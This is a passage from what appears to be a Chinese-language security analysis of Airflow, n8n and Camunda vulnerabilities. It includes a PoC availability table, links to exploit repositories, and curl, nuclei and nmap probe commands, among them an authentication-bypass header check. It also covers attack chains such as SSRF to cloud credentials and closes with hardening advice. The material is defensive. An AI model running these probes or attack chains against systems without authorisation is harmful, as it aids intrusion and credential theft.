- type : status
status :
- 200
- type : word
words :
- "name"
- "default"
condition : and
part : body 0x07 PoC 收集情况总表 CVE / 漏洞 GitHub PoC Exploit-DB Metasploit Nuclei 在野利用 CVE-2023-22814 (Airflow SSRF) ✅ 多个仓库 ❌ ❌ ✅ ✅ 云环境 CVE-2023-22815 (Airflow 路径穿越) ✅ 有限 ❌ ❌ ✅ ⚠️ 侦察阶段 CVE-2023-3428 (Airflow 认证绕过) ✅ 多个仓库 ❌ ❌ ✅ ⚠️ 初期利用 n8n 未授权访问 ✅ 多个仓库 ❌ ❌ ✅ ✅ 广泛存在 n8n VM2 沙箱逃逸 ✅ 多个仓库 ✅ ❌ 有限 ⚠️ 组合利用 CVE-2023-37928 (Camunda RCE) ✅ 多个仓库 ❌ ❌ ✅ ⚠️ 初期利用
关键 PoC 仓库 Airflow CVE-2023-22814 :https://github.com/charlesbel/Airflow-CVE-2023-22814 — Python SSRF 利用Airflow CVE-2023-3428 :https://github.com/CompassSecurity/CVE-2023-3428 — 认证绕过检测n8n VM2 逃逸 :https://github.com/AvishekJ/n8n-CVE-2023-32314 — VM2 沙箱逃逸 PoCCamunda CVE-2023-37928 :https://github.com/bayuncao/CVE-2023-37928 — Groovy RCE 利用验证思路(防守型) # Airflow — 检测版本和 API 暴露
nuclei -u http://target:8080 -tags airflow
curl -s http://target:8080/api/v1/version
# n8n — 检测未授权访问
nuclei -u http://target:5678 -tags n8n
curl -s http://target:5678/rest/workflows | head -c 200
# Camunda — 检测 REST API 暴露
nuclei -u http://target:8080 -tags camunda
curl -s http://target:8080/engine-rest/engine 0x08 共性攻击模式 8.1 API 接口缺乏输入验证是工作流引擎的头号杀手 Airflow 的 SSRF(CVE-2023-22814)、路径穿越(CVE-2023-22815)和 Camunda 的 Groovy 脚本注入(CVE-2023-37928)本质上都是 API 接口缺乏输入验证的产物。工作流引擎的 REST API 设计初衷是为管理员和自动化工具提供便捷的流程编排能力,但在实现过程中往往忽视了对输入参数的安全校验,导致攻击者可以通过构造恶意参数触发 SSRF、路径穿越、命令注入等漏洞。
8.2 默认配置不安全 n8n 的认证可选、Airflow 的默认启用实验性认证后端——这些设计决策都源于产品默认配置的不安全性。运维人员在部署时如果不主动加固,系统天然处于高危状态。工作流引擎通常存储大量第三方服务凭据,默认配置不安全意味着这些凭据直接暴露在攻击面之下。
8.3 脚本执行能力是双刃剑 n8n 的 Code 节点和 Camunda 的 Script Task 都赋予了工作流强大的可编程能力,但同时也引入了代码执行风险。当脚本执行缺乏有效的沙箱隔离时,拥有工作流编辑权限的用户即可实现服务器级别的远程代码执行。
8.4 认证机制缺陷放大攻击面 Airflow 的认证绕过(CVE-2023-3428)和 n8n 的认证可选设计,都说明工作流引擎在认证机制上存在系统性不足。认证缺陷使得原本需要合法凭据才能触发的漏洞(如 SSRF、RCE)变成了零门槛可利用的状态,极大降低了攻击成本。
8.5 工作流引擎被攻破的连锁效应 工作流引擎在企业 IT 架构中处于核心编排位置,一旦被攻破,影响远超单一应用:
凭据泄露 :工作流引擎中存储着数据库密码、API Token、云服务密钥等大量凭据SSRF 跳板 :工作流引擎通常部署在内网核心区域,可作为 SSRF 跳板探测和攻击内网服务供应链污染 :通过篡改工作流定义,可以间接影响所有被编排的业务系统云账户接管 :在云环境中,通过 SSRF 获取元数据服务中的 IAM 凭证可接管整个云账户持久化控制 :攻击者可以创建隐蔽的工作流任务作为持久化后门0x09 防守建议 9.1 紧急措施 立即升级 :Apache Airflow → 2.5.2+(修复 CVE-2023-22814/22815)→ 2.6.5+(修复 CVE-2023-3428) Camunda BPM → 7.19.0+ n8n → 1.0.0+(移除 VM2 依赖) 强制认证 :n8n 必须配置 N8N_AUTH_DEFAULT_USER 和 N8N_AUTH_DEFAULT_PASSWORD 环境变量网络隔离 :所有工作流引擎管理端口禁止直接暴露到互联网禁用实验性功能 :Airflow 禁用实验性认证后端,仅使用标准认证机制9.2 排查清单 # 1. 扫描暴露在互联网上的工作流引擎端口
nmap -sV -p 8080,5678,8080-8085 <target_range>
# 2. 检查 Airflow 版本
curl -s http://target:8080/api/v1/version
# 3. 检查 Airflow 认证绕过
curl -s -H "X-Experiment-Auth: true" -H "Authorization: Bearer test" http://target:8080/api/v1/dags
# 4. 检查 n8n 未授权访问
curl -s http://target:5678/rest/workflows | head -c 200
# 5. 检查 Camunda REST API
curl -s http://target:8080/engine-rest/engine
# 6. 检查 Airflow 连接配置(排查 SSRF 恶意连接)
curl -s http://target:8080/api/v1/connections -H "Authorization: Bearer <token>" | jq '.connections[] | select(.host | contains("169.254"))'
# 7. 检查工作流引擎进程连接
ss -tlnp | grep -E '8080|5678'
# 8. 检查 n8n 认证配置
grep -r "N8N_AUTH" /path/to/n8n/config/ 9.3 中期加固 启用强认证 :所有工作流引擎启用 OAuth2 / OIDC 认证,禁止匿名访问最小权限 :为每个自动化任务分配独立的服务账号,禁止共享凭据脚本沙箱 :n8n 升级到不使用 VM2 的新版本;Camunda 禁用或限制 Script Task 的脚本语言网络分段 :工作流引擎部署在内网隔离区域,通过反向代理和 WAF 进行访问控制审计日志 :开启工作流引擎的审计日志,记录所有 API 调用、工作流创建和修改操作凭据加密 :工作流引擎中存储的第三方凭据使用外部密钥管理系统(如 Vault)进行管理监控告警 :部署针对工作流引擎的异常行为监控,包括异常 API 调用、新工作流创建、凭据访问等0x0A 参考资料